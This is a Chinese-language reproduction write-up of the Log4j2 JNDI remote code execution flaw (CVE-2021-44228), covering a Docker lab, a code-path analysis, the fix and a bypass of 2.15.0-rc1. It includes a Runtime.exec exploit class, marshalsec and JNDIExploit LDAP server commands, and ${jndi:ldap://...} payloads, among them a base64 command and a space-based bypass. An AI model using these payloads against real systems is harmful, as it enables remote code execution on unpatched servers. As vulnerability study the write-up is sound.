Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)

Apache Log4j2 远程代码执行漏洞< 2.15.0(CVE-2021-44228)

0x01 漏洞简介

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

0x02 影响版本

引用了版本处于2.x < 2.15.0的 Apache log4j-core的应用项目或组件

0x03 环境搭建

docker run -d -P vulfocus/log4j2-rce-2021-12-09

0x04 漏洞分析

测试代码如下:

//src/main/java/log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //The default trusturlcodebase of the higher version JDK is false
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://192.168.237.130:1389/Exploitwin}");
    }
}

#pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0modelVersion>

    <groupId>org.examplegroupId>
    <artifactId>log4j-rceartifactId>
    <version>1.0-SNAPSHOTversion>

    
    <properties>
      <maven.compiler.source>6maven.compiler.source>
      <maven.compiler.target>1.6maven.compiler.target>
    properties>

    <dependencies>
        
        <dependency>
            <groupId>org.apache.logging.log4jgroupId>
            <artifactId>log4j-coreartifactId>
            <version>2.14.1version>
        dependency>
        
        <dependency>
            <groupId>org.apache.logging.log4jgroupId>
            <artifactId>log4j-apiartifactId>
            <version>2.14.1version>
        dependency>
    dependencies>

    
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.pluginsgroupId>
                <artifactId>maven-surefire-pluginartifactId>
                <version>2.19.1version>
            plugin>
            <plugin>
                <artifactId>maven-assembly-pluginartifactId>
                <configuration>
                    <finalName>${project.artifactId}-${project.version}-allfinalName>
                    <appendAssemblyId>falseappendAssemblyId>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependenciesdescriptorRef>
                    descriptorRefs>
                configuration>
                <executions>
                    <execution>
                        <id>make-assemblyid>
                        <phase>packagephase>
                        <goals>
                            <goal>singlegoal>
                        goals>
                    execution>
                executions>
            plugin>
        plugins>
    build>

project>

根据官方的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第1张图片

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第2张图片

可以知道,是通过 jndi 中 LDAP 注入的方式实现了 RCE

JNDI lookup 的用法:

JndiLookup 允许通过 JNDI 检索变量,然后给了示例:

<File name="Application" fileName="application.log">
    <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%npattern>
    PatternLayout>
File>

实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下:

${jndi:JNDIContent}

既然明确了lookup是触发漏洞的点,并且找到了可以触发 lookup的方法 ,那么就可以找入口点,只要找到入口点,然后传入 jndi 调用 ldap 的方式,就能够实现 RCE。

那么,哪一个入口点可以传入${jndi:JNDIContent}呢?

没错了,就是LogManager.getLogger().xxxx()方法

在log4j2中,共有8 个日志级别,可以通过LogManager.getLogger()调用记录日志的方法如下:

LogManager.getLogger().error()
LogManager.getLogger().fatal()

LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第3张图片

上述列表中,error()fatal()方法可默认触发漏洞,其余的方法需要配置日志级别才可以触发漏洞。

只有当当前事件的日志等级大于等于设置的日志等级时,才会符合条件,进入logMessage()方法

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第4张图片

根据传参为 String message找到了AbstractLogger.java 中会触发的error方法

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第5张图片

logIfEnabled方法中,对当前日志等级进行了一次判断:

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第6张图片

如果符合,那么会进行logMessage操作:
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第7张图片

后续不关键调用路径如下:

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第8张图片

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Logger.log方法

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第9张图片

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第10张图片

进入LoggerConfig.log方法,后续调用链如下

loggerConfig.log ----> 
			log ----> 
			processLogEvent ----> 
			callAppenders----> 

AppenderControl.callAppender  ----> 
			tryCallAppender ----> 

AbstractOutputStreamAppender.append ----> 
			tryAppend ----> 
			directEncodeEvent ----> 

PatternLayout.encode ----> 
			toText ---->
			toSerializable ---->
			format

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第11张图片

继续跟着代码走下去,走到了MessagePatternCoverter文件的format函数下;
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第12张图片

如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第13张图片

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${
suffixMatcher是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第14张图片

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中
在这里插入图片描述

resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第15张图片

Interpolator.lookup方法中,首先会获取字符串的前缀值:

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第16张图片

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第17张图片

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
    public Exploit() throws IOException,InterruptedException{
        String cmd="touch /tmp/xxx";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

编译代码后,

javac Exploit.java

开启HTTP服务

python -m http.server

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第18张图片

开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

在这里插入图片描述

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第19张图片

0x05 漏洞复现

使用JNDIExploit工具,这个工具比marshalsec方便,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

下载地址:https://github.com/WhiteHSBG/JNDIExploit

启动一个使用下载好的JNDIExploit-1.4-SNAPSHOT.jar启动一个服务LDAP 绑定 1389 HTTP Server 绑定3456,-i指定我们的远程服务器

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...

向存在漏洞的位置进行传参

${jndi:ldap://192.168.237.130:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNz}

将poc进行url编码
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第20张图片

因为执行的命令中有特殊字符,所以使用base64编码后再放入poc,执行的命令是touch /tmp/success

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第21张图片

在存在漏洞的位置进行传参

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第22张图片

同时我们的攻击机会返回数据,表示命令执行成功

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第23张图片

查看靶机就会发现已经执行了我们的命令

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第24张图片

0x06 后续修复和绕过

其实查看Log4j2最新提交的代码(https://github.com/apache/logging-log4j2),咱们很容易就能看到其修复方法。

官方主要通过两个途径来修复该问题:新增jndi开关(默认关闭)和新增jndi相关域名、协议和Class白名单。
A、新增消息的Lookup开关(默认关闭)
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第25张图片

在消息处理类MessagePatternConverter中增加了Lookup开关,通过lookups参数来控制。默认为false。 即默认消息中不解析${}配置。在2.15.0之前的版本,默认MessagePatternConverter会对消息进行lookup操作(具体请参考2.14.1的MessagePatternConverter类实现)。

但是我们可以通过在日志patter中新增lookups来开启消息中的lookup功能。

B、新增白名单

如果使用者通过配置lookups主动开启了消息查找功能。官方也为我们提供了另外一道屏障来解决该注入漏洞。官方使用了一个比较简单的办法,即给协议、class和域名都添加白名单。这样只要使用者合理的使用都不会有问题。

默认白名单的协议:JAVA、LDAP、LDAPS

默认白名单的域名:localhost

默认白名单支持的类:基本类型对应的对象。

在JndiManager执行lookup的时候,其会校验对应的白名单。

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第26张图片

实际上拦住Payload是在最后一处OBJECT_FACTORY判断

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第27张图片

2.15.0-RC1版本为何会被绕过

这个版本的绕过其实很有意思。原因是因为在JndiManager.lookup的方法中,当执行各类白名单过滤操作中,如果抛出异常。在RC1的版本中,其没有做任何处理,导致只要抛出异常就能够正常的执行后续的lookup逻辑。从而绕过了白名单检测。

于是后续做了修正,只要抛出异常就直接返回null。

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第28张图片

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)_第29张图片

那么我们可以如何绕过呢? 这里我们参考了文章安全漏洞之Log4j2漏洞复现绕过分析。通过URI中不进行URL编码会报报错URISyntaxException,在URL中添加一个空格即可触发,比如:${jndi:ldap://127.0.0.1:1389/ badClassName}。虽然对空格做编码导致异常,但是lookup时候会去掉这个空格,所以异常之后后续的lookup也能够正常执行。(需要用户开启lookup功能的基础上才可以)

参考链接

https://blog.csdn.net/hilaryfrank/article/details/121939754
https://baijiahao.baidu.com/s?id=1718946520876495065&wfr=spider&for=pc

你可能感兴趣的:(漏洞复现,log4j,apache)